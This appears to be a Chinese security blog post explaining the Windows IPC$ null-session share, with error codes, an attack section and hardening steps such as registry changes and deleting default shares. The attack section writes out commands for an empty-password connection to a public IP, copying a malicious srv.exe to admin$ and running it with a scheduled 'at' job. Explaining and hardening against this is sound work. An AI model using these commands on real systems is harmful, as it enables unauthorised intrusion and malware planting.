catalogue

. 什么是IPC$
. IPC$攻击方式
. 漏洞检测与防御措施

1. 什么是IPC$

IPC$(空会话连接)是windows系统内置的一个功能模块,它的作用有很多(包括域帐号枚举),但是其中对于攻击者最关心地还是它的网络文件共享能力,它允许本机的进程/服务以命名管道(named pipe)的形式连接连接上来以实现文件的共享传输,根据对应IPC$共享目录的ACL权限来决定是否可写/可遍历等权限

对于IPC$的概念,我们有几点要明白

. IPC$和windows的SMB共享都是复用了445端口,它们都基于SMB协议实现,但是IPC$的作用范围更大一些,它是服务器间进程间通信方式
) 可以枚举帐号: 当然对方服务器也可以禁用枚举
) 共享文件: 基于命名管道named pipe
The IPC$ share is created by the Windows Server service. This special share exists to allow for subsequent named pipe connections to the server. The server's named pipes are created by built-in operating system components and by any applications or services that are installed on the system. When the named pipe is being created, the process specifies the security that is associated with the pipe, and then makes sure that access is only granted to the specified users or groups.
) 执行系统指令 . IPC$的登录验证方式可分为
) 匿名anonymous IPC$: 空账号,空密码可访问,但是匿名IPC$的权限往往较低
) 非匿名IPC$: 需要帐号密码的验证,不过这反过来也为黑客提供了一种暴力破解windows系统账户密码的方式
. IPC$登录后共享哪些目录/文件是可以配置的,如果该共享目录/文件的列表为空,则IPC$登录后无法进行文件共享。早上windows server系统上默认配置了几个IPC$共享目录
) 所有的逻辑盘(c$,d$,e$……)
) 系统目录winnt或windows(admin$)

0x1: IPC$连接常见错误

错误号5(拒绝访问):很可能你使用的用户不是管理员权限的,先提升权限
错误号51(Windows无法找到网络路径): 网络有问题;
错误号53(找不到网络路径):
) ip地址错误
) 目标未开机
) 目标lanmanserver服务未启动
) 目标有防火墙(端口过滤)
错误号67(找不到网络名):
) 你的lanmanworkstation服务未启动
) 目标删除了ipc$
错误号1219(提供的凭据与已存在的凭据集冲突):你已经和对方建立了一个ipc$,请删除再连
错误号1326(未知的用户名或错误密码)
错误号1792(试图登录,但是网络登录服务没有启动): 目标NetLogon服务未启动(连接域控会出现此情况)
错误号2242(此用户的密码已经过期):目标有帐号策略,强制定期要求更改密码

Relevant Link:

https://support.microsoft.com/en-ca/help/3034016/ipc-share-and-null-session-behavior-in-windows
https://technet.microsoft.com/en-us/library/jj852278(v=ws.10).aspx

2. IPC$攻击方式

0x1: administrator空口令连接

net use \\121.40.65.98\IPC$ "" /user:"admintitrators"

0x2: 利用IPC$上传恶意样本

copy srv.exe \\121.40.65.98\admin$

我们可以指定把srv.exe复制到目标系统的任何共享目录中

0x3: 在目标系统执行系统指令

net time \\127.0.0.1
\\127.0.0.1 的当前时间是 // ::
  
at \\127.0.0.1 : srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快)
  
net time \\127.0.0.1
如果时间到了,就说明指令已经执行了

0x4: 利用IPC$进行密码爆破

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://zhaogao.blog.51cto.com/205189/53712
https://www.giac.org/paper/gcih/466/ipc-share-exploit-methodology-chinese-attackers/103860

3. 漏洞检测与防御措施

0x1: 检测本机IPC$共享目录

通过net share列出本机开放的共享目录,理论上这些都应该删掉,为了黑客利用445漏洞入侵后将恶意文件植入类似admin$这种系统核心目录

0x2: 禁止空连接进行枚举

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]

RestrictAnonymous = DWORD的键值改为:00000001

0x3: 禁止默认共享

. 察看本地共享资源: net share
. 删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除) . 停止server服务: net stop server /y(重新启动后server服务会重新开启)
. 禁止server服务器自启动 . 修改注册表
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer(DWORD)的键值改为:。
# OR
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareWks(DWORD)的键值改为:。
# 如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值

0x4: 永久关闭ipc$和默认共享依赖的服务: lanmanserver即server服务

控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://www.pc6.com/InfoView/Article_42319.html

Copyright (c) 2017 LittleHann All rights reserved

IPC$概念及入侵方式研究的更多相关文章

  1. Windows下非PE方式载荷投递方式研究

    0. 引言 0x1:载荷是什么?在整个入侵过程中起到什么作用? 载荷的作用在整个入侵链路的作用起到纽带的作用,它借助于目标系统提供的某些功能:组件:执行环境,将攻击者的传递的恶意payload包裹起来 ...

  2. UDP打洞、P2P组网方式研究

    catalogue . NAT概念 . P2P概念 . UDP打洞 . P2P DEMO . ZeroNet P2P 1. NAT概念 在STUN协议中,根据内部终端的地址(LocalIP:Local ...

  3. DedeCMS顽固木马后门专杀工具V2.0实现方式研究

    catalog . 安装及使用方式 . 检查DEDECMS是否为最新版本 . 检查默认安装(install)目录是否存在 . 检查默认后台目录(dede)是否存在 . 检查DedeCMS会员中心是否关 ...

  4. AllJoyn Bundled Daemon 使用方式研究

    关于AllJoyn不多做介绍,请看官网:www.alljoyn.org/ 0. 问题来源: 应用程序要使用AllJoyn库,就必须启动deamon. 目前有两种方式: 使用standalone形式,单 ...

  5. 恶意软件/BOT/C2隐蔽上线方式研究

    catalogue . 传统木马上线方式 . 新型木马上线方式 . QQ昵称上线 . QQ空间资料上线 . 第三方域名上线 . UDP/TCP二阶段混合上线 . Gmail CNC . NetBot两 ...

  6. swift class的虚函数表、扩展、@objc修饰、虚函数的派发方式研究

    swift class的虚函数表.扩展.@objc修饰的研究 工具: swiftc -emit-sil BaseClass.swift | xcrun swift-demangle > Clas ...

  7. sort_contours_xld算子的几种排序方式研究

    算子sort_contours_xld算子有5种排序方式,即: 'upper_left': The position is determined by the upper left corner of ...

  8. SharePoint Add-in Model (App Model) 介绍 – 概念、托管方式、开发语言

    SharePoint Add-in Model 是自 2013 版本以来引入的新的扩展性开发模型, SharePoint 开发者可以利用这种新模型来实现往常利用场解决方案 (Farm Solution ...

  9. redis分布式锁-基本概念与实现方式对比

    1.redis中使用WATCH实现锁机制,是最次之的方式.WATCH只会在数据被其他客户端抢先修改了的情况下,“通知”执行了这个命令的客户端,而不会阻止其他客户端对数据进行修改.此类锁成为“乐观锁” ...

随机推荐

  1. ubuntu16.04系统深度学习开发环境、常用软件环境(如vscode、wine QQ、 360wifi驱动(第三代暂无))搭建相关资料

    事后补充比较全面的(找对资料真的省一半功夫):https://www.jianshu.com/p/5b708817f5d8?from=groupmessage Ubuntu16.04 + 1080Ti ...

  2. Zookeeper与Kafka基础概念和原理

    1.zookeeper概念介绍 在介绍ZooKeeper之前,先来介绍一下分布式协调技术,所谓分布式协调技术主要是用来解决分布式环境当中多个进程之间的同步控制,让他们有序的去访问某种共享资源,防止造成 ...

  3. 一个小错误:error LNK2019: 无法解析的外部符号 "public: __thiscall Turtle::~Turtle(void)" (??1Turtle@@QAE@XZ),该符号在函数 _main 中被引用

    昨天在撸代码的时候遇到了一个十分蛋疼的错误 : 错误: 1>3.obj : error LNK2019: 无法解析的外部符号 "public: __thiscall Turtle::~ ...

  4. 使用Visual Studio Code进行ABAP开发

    长期以来,我们都使用SAP GUI进行ABAP编码工作,事务代码SE38甚至成了ABAP的代名词. SAP GUI的代码编辑能力和一些专业的IDE比较起来难免相形见绌,为了给开发者们更好的体验,SAP ...

  5. 二叉搜索树的最近公共祖先的golang实现

    给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先. 百度百科中最近公共祖先的定义为:“对于有根树 T 的两个结点 p.q,最近公共祖先表示为一个结点 x,满足 x 是 p.q 的祖先且 x ...

  6. eclipse设置新建jsp默认编码格式utf-8

  7. 爬虫系列---scrapy post请求、框架组件和下载中间件+boss直聘爬取

    一 Post 请求 在爬虫文件中重写父类的start_requests(self)方法 父类方法源码(Request): def start_requests(self): for url in se ...

  8. 洛谷 P1908 逆序对

    \[传送门qwq\] 题目描述 猫猫\(TOM\)和小老鼠\(JERRY\)最近又较量上了,但是毕竟都是成年人,他们已经不喜欢再玩那种你追我赶的游戏,现在他们喜欢玩统计. 最近,\(TOM\)老猫查阅 ...

  9. java面试准备之面向对象

    面向对象 下面列出了面向对象软件开发的优点: (1) 代码开发模块化,更易维护和修改. (2) 代码复用. (3) 增强代码的可靠性和灵活性. (4) 增加代码的可理解性. 面向对象编程有很多重要的特 ...

  10. 使用 xUnit 编写 ASP.NET Core 单元测试

    还记得 .NET Framework 的 ASP.NET WebForm 吗?那个年代如果要在 Web 层做单元测试简直就是灾难啊..NET Core 吸取教训,在设计上考虑到了可测试性,就连 ASP ...